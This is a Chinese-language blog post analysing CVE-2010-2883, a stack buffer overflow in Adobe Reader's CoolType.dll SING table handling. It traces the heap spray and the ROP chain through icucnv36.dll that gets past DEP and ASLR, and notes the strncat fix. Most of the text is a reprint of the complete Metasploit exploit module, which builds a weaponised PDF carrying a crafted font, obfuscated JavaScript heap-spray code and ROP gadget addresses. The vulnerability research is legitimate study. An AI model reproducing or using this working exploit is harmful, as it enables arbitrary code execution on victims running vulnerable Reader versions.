• Home
  • About
    • tearorca photo

      tearorca

      Wishful thinking have to be willing to bet on clothing!

    • Learn More
    • Google+
    • Github
  • Posts
    • All Posts
    • All Tags
  • Projects

cve-2010-2883

14 Apr 2019

Reading time ~11 minutes

  • cve-2010-2883
    • 漏洞介绍
    • 分析环境
    • 漏洞分析
    • 样本分析
    • 漏洞保护
    • 参考链接

cve-2010-2883

漏洞介绍

Adobe Reader和Acrobat中的CoolType.dll库在解析字体文件SING表中的uniqueName项时存在栈溢出漏洞,可造成执行任意代码。

分析环境

操作系统:window xp sp3
软件 :Adobe  Reader 9.3.4( 9.4之前的9.x版本,8.2.5之前的8.x版本)

漏洞分析

用ida打开Adobe Reader中的CoolType.dll库,定位到SING表

发现strcat这个连接函数没有长度判断,一直会读取到“x00“,造成栈溢出的原因就在这里。

样本分析

打开od后,将Adobe拖入od中运行,打开样本文件(忽略异常),将断点下载strcat函数。

F8往下运行,此时的eax就是strcat的返回地址,就是我们连接的字符串,也就是我们布置的shellcode。

我们在这个shellcode的位置全选中,下内存访问断点

然后F9运行,我们来找溢出的位置。

我们会遇到很多这样的取值比较,但都不是我们想要的,我们一直F9下去

这里是一段复制。

发现运行完上面一句之后就直接跳出了计算器,而且这里的call eax,eax的位置也是在shellcode内部,所以这里就是关键点。F7进去

这就是第一个ROP,同时我们看到这个ROP是位于icucnv36里面的,是不受ASLR的影响。

我们可以看下这里用了个非常巧妙地或者说精心地构造来实现跳转来接近后面地堆喷,add ebp,0x794 把栈底一下子提高了到了后续shellcode的位置,这是加完后的ebp,已经接近了0x0C0C0C0C,后面跟着的 leave 就是 mov esp,ebp pop ebp 正好把pop esp的位置给了retn 紧接着就是0x0C0C0C0C也将会被弹入esp

第二个ROP,弹出了0x0C0C0C0C。看到这个,可以很容易的想到了堆喷计算,我们也可以看到在0x0C0C0C0C的附近也存在着大量的堆喷代码。

弹出给了esp之后,我们再看堆栈,发现移动到了SHE的位置,而这里的地址也是被shellcode覆盖的地方,也就是说是利用覆盖了SHE来执行异常

第三个ROP,可以看到当前堆栈中后面一大部分的都是在icucnv36里的代码碎片,都是不受ASLR的影响,可以任意调用。

第四个ROP

第五个ROP,可以看到现在的eax的值是CreatFileA函数的地址,紧接着retn之后就是一个jmp eax的指令,也就是跳转到了CreatFileA函数来创建一个文件。

文件的参数,这些也都是我们预先写在shellcode里面的。创建的是一个隐藏文件

接下来回到了前面的ROP作为跳转,要注意这里的retn后面的参数,计算好跳过的距离。正好跳过前面布置的CreatFileA的参数

这里用了连续两个retn来回到前面的ROP

后面的ROP和前面的都差不都,一直到这里和上面的一样把函数地址pop给eax,然后接着一个jmp eax跳到函数的地址,执行函数。CreateFileMapping函数用于创建一个文件映射内核对象。

后面的过程差不多和这里的一样,同样的套路跳转到MapViewOfFile函数和memcpy函数

把源地址和目标地址准备好之后进行复制,把shellcode复制到一块没有DEP保护的地方去

Retn直接到达目标地址的位置,后面就是执行shellcode了

整个攻击思路就是用shellcode溢出覆盖虚指针和SEH,导致程序异常,运行SEH劫持程序运行流程。因为PDF是支持js的,利用js的堆喷射让栈顶指向0x0C0C0C0C然后往下运行到ROP链,ROP链的布置就是

1.调用CreateFileA函数创建一个名为iso88591的隐藏文件; 
2.调用CreateFileMappingA函数创建文件映射; 
3.调用MapViewOfFile函数映射到本进程的地址空间内; 
4.调用memcpy函数复制下一个阶段的shellcode到没有DEP保护的地方,并执行。 

下一个阶段的shellcode经过一系列获取临时文件目录并创建文件之后使用WinExec启动创建的文件。Adobe Reader的沙盒保护是在Adobe Reader 10中加入的,所以这里也不用像CVE-2013-3346那样还需要一个CVE-2013-5065内核漏洞获取权限了。

漏洞保护

Adobe新出的补丁里将strcat改为strncat,控制了连接字符串的长度来防止溢出。

参考链接

《漏洞战争》

https://bbs.ichunqiu.com/thread-8849-1-1.html?from=ch

https://blog.csdn.net/qq_32400847/article/details/78666481

https://bbs.pediy.com/thread-246274.htm

https://blog.csdn.net/syumlyyc/article/details/78656328

最后给一个某大神写的复现脚本

##
# $Id: adobe_cooltype_sing.rb 10477 2010-09-25 11:59:02Z mc $
##
 
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
 
require 'msf/core'
require 'zlib'
 
class Metasploit3 < Msf::Exploit::Remote
	Rank = GreatRanking # aslr+dep bypass, js heap spray, rop, stack bof
 
	include Msf::Exploit::FILEFORMAT
 
	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Adobe CoolType SING Table "uniqueName" Stack Buffer Overflow',
			'Description'    => %q{
					This module exploits a vulnerability in the Smart INdependent Glyplets (SING) table
				handling within versions 8.2.4 and 9.3.4 of Adobe Reader. Prior version are
				assumed to be vulnerable as well.
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'Unknown',    # 0day found in the wild
					'@sn0wfl0w',  # initial analysis
					'@vicheck',   # initial analysis
					'jduck'       # Metasploit module
				],
			'Version'        => '$Revision: 10477 $',
			'References'     =>
				[
					[ 'CVE', '2010-2883' ],
					[ 'OSVDB', '67849'],
					[ 'URL', 'http://contagiodump.blogspot.com/2010/09/cve-david-leadbetters-one-point-lesson.html' ],
					[ 'URL', 'http://www.adobe.com/support/security/advisories/apsa10-02.html' ]
				],
			'DefaultOptions' =>
				{
					'EXITFUNC'             => 'process',
					'InitialAutoRunScript' => 'migrate -f',
					'DisablePayloadHandler' => 'true',
				},
			'Payload'        =>
				{
					'Space'    => 1000,
					'BadChars' => "\x00",
					'DisableNops' => true
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					# Tested OK via Adobe Reader 9.3.4 on Windows XP SP3 -jjd
					# Tested OK via Adobe Reader 9.3.4 on Windows 7 -jjd
					[ 'Automatic', { }],
				],
			'DisclosureDate' => 'Sep 07 2010',
			'DefaultTarget'  => 0))
 
		register_options(
			[
				OptString.new('FILENAME', [ true, 'The file name.',  'msf.pdf']),
			], self.class)
	end
 
	def exploit
		ttf_data = make_ttf()
 
		js_data = make_js(payload.encoded)
 
		# Create the pdf
		pdf = make_pdf(ttf_data, js_data)
 
		print_status("Creating '#{datastore['FILENAME']}' file...")
 
		file_create(pdf)
	end
 
	def make_ttf
		ttf_data = ""
 
		# load the static ttf file
 
		# NOTE: The 0day used Vera.ttf (785d2fd45984c6548763ae6702d83e20)
		path = File.join( Msf::Config.install_root, "data", "exploits", "cve-2010-2883.ttf" )
		fd = File.open( path, "rb" )
		ttf_data = fd.read(fd.stat.size)
		fd.close
 
		# Build the SING table
		sing = ''
		sing << [
			0, 1,   # tableVersionMajor, tableVersionMinor (0.1)
			0xe01,  # glyphletVersion
			0x100,  # embeddingInfo
			0,      # mainGID
			0,      # unitsPerEm
			0,      # vertAdvance
			0x3a00  # vertOrigin
		].pack('vvvvvvvv')
		# uniqueName
		# "The uniqueName string must be a string of at most 27 7-bit ASCII characters"
		#sing << "A" * (0x254 - sing.length)
		sing << rand_text(0x254 - sing.length)
 
		# 0xffffffff gets written here @ 0x7001400 (in BIB.dll)
		sing[0x140, 4] = [0x4a8a08e2 - 0x1c].pack('V')
 
		# This becomes our new EIP (puts esp to stack buffer)
		ret = 0x4a80cb38 # add ebp, 0x794 / leave / ret
		sing[0x208, 4] = [ret].pack('V')
 
		# This becomes the new eip after the first return
		ret = 0x4a82a714
		sing[0x18, 4] = [ret].pack('V')
 
		# This becomes the new esp after the first return
		esp = 0x0c0c0c0c
		sing[0x1c, 4] = [esp].pack('V')
 
		# Without the following, sub_801ba57 returns 0.
		sing[0x24c, 4] = [0x6c].pack('V')
 
		ttf_data[0xec, 4] = "SING"
		ttf_data[0x11c, sing.length] = sing
 
		ttf_data
	end
 
	def make_js(encoded_payload)
 
		# The following executes a ret2lib using icucnv36.dll
		# The effect is to bypass DEP and execute the shellcode in an indirect way
		stack_data = [
			0x41414141,   # unused
			0x4a8063a5,   # pop ecx / ret
			0x4a8a0000,   # becomes ecx
 
			0x4a802196,   # mov [ecx],eax / ret # save whatever eax starts as
 
			0x4a801f90,   # pop eax / ret
			0x4a84903c,   # becomes eax (import for CreateFileA)
 
			# -- call CreateFileA
			0x4a80b692,   # jmp [eax]
 
			0x4a801064,   # ret
 
			0x4a8522c8,   # first arg to CreateFileA (lpFileName / pointer to "iso88591")
			0x10000000,   # second arg  - dwDesiredAccess
			0x00000000,   # third arg   - dwShareMode
			0x00000000,   # fourth arg  - lpSecurityAttributes
			0x00000002,   # fifth arg   - dwCreationDisposition
			0x00000102,   # sixth arg   - dwFlagsAndAttributes
			0x00000000,   # seventh arg - hTemplateFile
 
			0x4a8063a5,   # pop ecx / ret
			0x4a801064,   # becomes ecx
 
			0x4a842db2,   # xchg eax,edi / ret
 
			0x4a802ab1,   # pop ebx / ret
			0x00000008,   # becomes ebx - offset to modify
 
			#
			# This points at a neat-o block of code that ... TBD
			#
			#   and [esp+ebx*2],edi
			#   jne check_slash
			# ret_one:
			#   mov al,1
			#   ret
			# check_slash:
			#   cmp al,0x2f
			#   je ret_one
			#   cmp al,0x41
			#   jl check_lower
			#   cmp al,0x5a
			#   jle check_ptr
			# check_lower:
			#   cmp al,0x61
			#   jl ret_zero
			#   cmp al,0x7a
			#   jg ret_zero
			#   cmp [ecx+1],0x3a
			#   je ret_one
			# ret_zero:
			#   xor al,al
			#   ret
			#
 
			0x4a80a8a6,   # execute fun block
 
			0x4a801f90,   # pop eax / ret
			0x4a849038,   # becomes eax (import for CreateFileMappingA)
 
			# -- call CreateFileMappingA
			0x4a80b692,   # jmp [eax]
 
			0x4a801064,   # ret
 
			0xffffffff,   # arguments to CreateFileMappingA, hFile
			0x00000000,   # lpAttributes
			0x00000040,   # flProtect
			0x00000000,   # dwMaximumSizeHigh
			0x00010000,   # dwMaximumSizeLow
			0x00000000,   # lpName
 
			0x4a8063a5,   # pop ecx / ret
			0x4a801064,   # becomes ecx
 
			0x4a842db2,   # xchg eax,edi / ret
 
			0x4a802ab1,   # pop ebx / ret
			0x00000008,   # becomes ebx - offset to modify
 
			0x4a80a8a6,   # execute fun block
 
			0x4a801f90,   # pop eax / ret
			0x4a849030,   # becomes eax (import for MapViewOfFile
 
			# -- call MapViewOfFile
			0x4a80b692,   # jmp [eax]
 
			0x4a801064,   # ret
 
			0xffffffff,   # args to MapViewOfFile - hFileMappingObject
			0x00000022,   # dwDesiredAccess
			0x00000000,   # dwFileOffsetHigh
			0x00000000,   # dwFileOffsetLow
			0x00010000,   # dwNumberOfBytesToMap
 
			0x4a8063a5,   # pop ecx / ret
			0x4a8a0004,   # becomes ecx - writable pointer
 
			0x4a802196,   # mov [ecx],eax / ret - save map base addr
 
			0x4a8063a5,   # pop ecx / ret
			0x4a801064,   # becomes ecx - ptr to ret
 
			0x4a842db2,   # xchg eax,edi / ret
 
			0x4a802ab1,   # pop ebx / ret
			0x00000030,   # becomes ebx - offset to modify
 
			0x4a80a8a6,   # execute fun block
 
			0x4a801f90,   # pop eax / ret
			0x4a8a0004,   # becomes eax - saved file mapping ptr
 
			0x4a80a7d8,   # mov eax,[eax] / ret - load saved mapping ptr
 
			0x4a8063a5,   # pop ecx / ret
			0x4a801064,   # becomes ecx - ptr to ret
 
			0x4a842db2,   # xchg eax,edi / ret
 
			0x4a802ab1,   # pop ebx / ret
			0x00000020,   # becomes ebx - offset to modify
 
			0x4a80a8a6,   # execute fun block
 
			0x4a8063a5,   # pop ecx / ret
			0x4a801064,   # becomes ecx - ptr to ret
 
			0x4a80aedc,   # lea edx,[esp+0xc] / push edx / push eax / push [esp+0xc] / push [0x4a8a093c] / call ecx / add esp, 0x10 / ret
 
			0x4a801f90,   # pop eax / ret
			0x00000034,   # becomes eax
 
			0x4a80d585,   # add eax,edx / ret
 
			0x4a8063a5,   # pop ecx / ret
			0x4a801064,   # becomes ecx - ptr to ret
 
			0x4a842db2,   # xchg eax,edi / ret
 
			0x4a802ab1,   # pop ebx / ret
			0x0000000a,   # becomes ebx - offset to modify
 
			0x4a80a8a6,   # execute fun block
 
			0x4a801f90,   # pop eax / ret
			0x4a849170,   # becomes eax (import for memcpy)
 
			# -- call memcpy
			0x4a80b692,   # jmp [eax]
 
			0xffffffff,   # this stuff gets overwritten by the block at 0x4a80aedc, becomes ret from memcpy
			0xffffffff,   # becomes first arg to memcpy (dst)
			0xffffffff,   # becomes second arg to memcpy (src)
			0x00001000,   # becomes third arg to memcpy (length)
			#0x0000258b,   # ??
			#0x4d4d4a8a,   # ??
		].pack('V*')
 
		var_unescape  = rand_text_alpha(rand(100) + 1)
		var_shellcode = rand_text_alpha(rand(100) + 1)
 
		var_start     = rand_text_alpha(rand(100) + 1)
 
		var_s         = 0x10000
		var_c         = rand_text_alpha(rand(100) + 1)
		var_b         = rand_text_alpha(rand(100) + 1)
		var_d         = rand_text_alpha(rand(100) + 1)
		var_3         = rand_text_alpha(rand(100) + 1)
		var_i         = rand_text_alpha(rand(100) + 1)
		var_4         = rand_text_alpha(rand(100) + 1)
 
		payload_buf = ''
		payload_buf << stack_data
		payload_buf << encoded_payload
 
		escaped_payload = Rex::Text.to_unescape(payload_buf)
 
		js = %Q|
var #{var_unescape} = unescape;
var #{var_shellcode} = #{var_unescape}( '#{escaped_payload}' );
var #{var_c} = #{var_unescape}( "%" + "u" + "0" + "c" + "0" + "c" + "%u" + "0" + "c" + "0" + "c" );
while (#{var_c}.length + 20 + 8 < #{var_s}) #{var_c}+=#{var_c};
#{var_b} = #{var_c}.substring(0, (0x0c0c-0x24)/2);
#{var_b} += #{var_shellcode};
#{var_b} += #{var_c};
#{var_d} = #{var_b}.substring(0, #{var_s}/2);
while(#{var_d}.length < 0x80000) #{var_d} += #{var_d};
#{var_3} = #{var_d}.substring(0, 0x80000 - (0x1020-0x08) / 2);
var #{var_4} = new Array();
for (#{var_i}=0;#{var_i}<0x1f0;#{var_i}++) #{var_4}[#{var_i}]=#{var_3}+"s";
|
 
		js
	end
 
	def RandomNonASCIIString(count)
		result = ""
		count.times do
			result << (rand(128) + 128).chr
		end
		result
	end
 
	def ioDef(id)
		"%d 0 obj \n" % id
	end
 
	def ioRef(id)
		"%d 0 R" % id
	end
 
 
	#http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/
	def nObfu(str)
		#return str
		result = ""
		str.scan(/./u) do |c|
			if rand(2) == 0 and c.upcase >= 'A' and c.upcase <= 'Z'
				result << "#%x" % c.unpack("C*")[0]
			else
				result << c
			end
		end
		result
	end
 
 
	def ASCIIHexWhitespaceEncode(str)
		result = ""
		whitespace = ""
		str.each_byte do |b|
			result << whitespace << "%02x" % b
			whitespace = " " * (rand(3) + 1)
		end
		result << ">"
	end
 
 
	def make_pdf(ttf, js)
 
		#swf_name = rand_text_alpha(8 + rand(8)) + ".swf"
 
		xref = []
		eol = "\n"
		endobj = "endobj" << eol
 
		# Randomize PDF version?
		pdf = "%PDF-1.5" << eol
		pdf << "%" << RandomNonASCIIString(4) << eol
 
		# catalog
		xref << pdf.length
		pdf << ioDef(1) << nObfu("<<") << eol
		pdf << nObfu("/Pages ") << ioRef(2) << eol
		pdf << nObfu("/Type /Catalog") << eol
		pdf << nObfu("/OpenAction ") << ioRef(11) << eol
		# The AcroForm is required to get icucnv36.dll to load
		pdf << nObfu("/AcroForm ") << ioRef(13) << eol
		pdf << nObfu(">>") << eol
		pdf << endobj
 
		# pages array
		xref << pdf.length
		pdf << ioDef(2) << nObfu("<<") << eol
		pdf << nObfu("/MediaBox ") << ioRef(3) << eol
		pdf << nObfu("/Resources ") << ioRef(4) << eol
		pdf << nObfu("/Kids [") << ioRef(5) << "]" << eol
		pdf << nObfu("/Count 1") << eol
		pdf << nObfu("/Type /Pages") << eol
		pdf << nObfu(">>") << eol
		pdf << endobj
 
		# media box
		xref << pdf.length
		pdf << ioDef(3)
		pdf << "[0 0 595 842]" << eol
		pdf << endobj
 
		# resources
		xref << pdf.length
		pdf << ioDef(4)
		pdf << nObfu("<<") << eol
		pdf << nObfu("/Font ") << ioRef(6) << eol
		pdf << ">>" << eol
		pdf << endobj
 
		# page 1
		xref << pdf.length
		pdf << ioDef(5) << nObfu("<<") << eol
		pdf << nObfu("/Parent ") << ioRef(2) << eol
		pdf << nObfu("/MediaBox ") << ioRef(3) << eol
		pdf << nObfu("/Resources ") << ioRef(4) << eol
		pdf << nObfu("/Contents [") << ioRef(8) << nObfu("]") << eol
		pdf << nObfu("/Type /Page") << eol
		pdf << nObfu(">>") << eol # end obj dict
		pdf << endobj
 
		# font
		xref << pdf.length
		pdf << ioDef(6) << nObfu("<<") << eol
		pdf << nObfu("/F1 ") << ioRef(7) << eol
		pdf << ">>" << eol
		pdf << endobj
 
		# ttf object
		xref << pdf.length
		pdf << ioDef(7) << nObfu("<<") << eol
		pdf << nObfu("/Type /Font") << eol
		pdf << nObfu("/Subtype /TrueType") << eol
		pdf << nObfu("/Name /F1") << eol
		pdf << nObfu("/BaseFont /Cinema") << eol
		pdf << nObfu("/Widths []") << eol
		pdf << nObfu("/FontDescriptor ") << ioRef(9)
		pdf << nObfu("/Encoding /MacRomanEncoding")
		pdf << nObfu(">>") << eol
		pdf << endobj
 
		# page content
		content = "Hello World!"
		content = "" +
			"0 g" + eol +
			"BT" + eol +
			"/F1 32 Tf" + eol +
			"32 Tc" + eol +
			"1 0 0 1 32 773.872 Tm" + eol +
			"(" + content + ") Tj" + eol +
			"ET"
 
		xref << pdf.length
		pdf << ioDef(8) << "<<" << eol
		pdf << nObfu("/Length %s" % content.length) << eol
		pdf << ">>" << eol
		pdf << "stream" << eol
		pdf << content << eol
		pdf << "endstream" << eol
		pdf << endobj
 
		# font descriptor
		xref << pdf.length
		pdf << ioDef(9) << nObfu("<<")
		pdf << nObfu("/Type/FontDescriptor/FontName/Cinema")
		pdf << nObfu("/Flags %d" % (2**2 + 2**6 + 2**17))
		pdf << nObfu("/FontBBox [-177 -269 1123 866]")
		pdf << nObfu("/FontFile2 ") << ioRef(10)
		pdf << nObfu(">>") << eol
		pdf << endobj
 
		# ttf stream
		xref << pdf.length
		compressed = Zlib::Deflate.deflate(ttf)
		pdf << ioDef(10) << nObfu("<</Length %s/Filter/FlateDecode/Length1 %s>>" % [compressed.length, ttf.length]) << eol
		pdf << "stream" << eol
		pdf << compressed << eol
		pdf << "endstream" << eol
		pdf << endobj
 
		# js action
		xref << pdf.length
		pdf << ioDef(11) << nObfu("<<")
		pdf << nObfu("/Type/Action/S/JavaScript/JS ") + ioRef(12)
		pdf << nObfu(">>") << eol
		pdf << endobj
 
		# js stream
		xref << pdf.length
		compressed = Zlib::Deflate.deflate(ASCIIHexWhitespaceEncode(js))
		pdf << ioDef(12) << nObfu("<</Length %s/Filter[/FlateDecode/ASCIIHexDecode]>>" % compressed.length) << eol
		pdf << "stream" << eol
		pdf << compressed << eol
		pdf << "endstream" << eol
		pdf << endobj
 
		###
		# The following form related data is required to get icucnv36.dll to load
		###
 
		# form object
		xref << pdf.length
		pdf << ioDef(13)
		pdf << nObfu("<</XFA ") << ioRef(14) << nObfu(">>") << eol
		pdf << endobj
 
		# form stream
		xfa = <<-EOF
<?xml version="1.0" encoding="UTF-8"?>
<xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/">
<config xmlns="http://www.xfa.org/schema/xci/2.6/">
<present><pdf><interactive>1</interactive></pdf></present>
</config>
<template xmlns="http://www.xfa.org/schema/xfa-template/2.6/">
<subform name="form1" layout="tb" locale="en_US">
<pageSet></pageSet>
</subform></template></xdp:xdp>
EOF
 
		xref << pdf.length
		pdf << ioDef(14) << nObfu("<</Length %s>>" % xfa.length) << eol
		pdf << "stream" << eol
		pdf << xfa << eol
		pdf << "endstream" << eol
		pdf << endobj
 
		###
		# end form stuff for icucnv36.dll
		###
 
 
		# trailing stuff
		xrefPosition = pdf.length
		pdf << "xref" << eol
		pdf << "0 %d" % (xref.length + 1) << eol
		pdf << "0000000000 65535 f" << eol
		xref.each do |index|
			pdf << "%010d 00000 n" % index << eol
		end
 
		pdf << "trailer" << eol
		pdf << nObfu("<</Size %d/Root " % (xref.length + 1)) << ioRef(1) << ">>" << eol
 
		pdf << "startxref" << eol
		pdf << xrefPosition.to_s() << eol
 
		pdf << "%%EOF" << eol
		pdf
	end
 
end


Share Tweet +1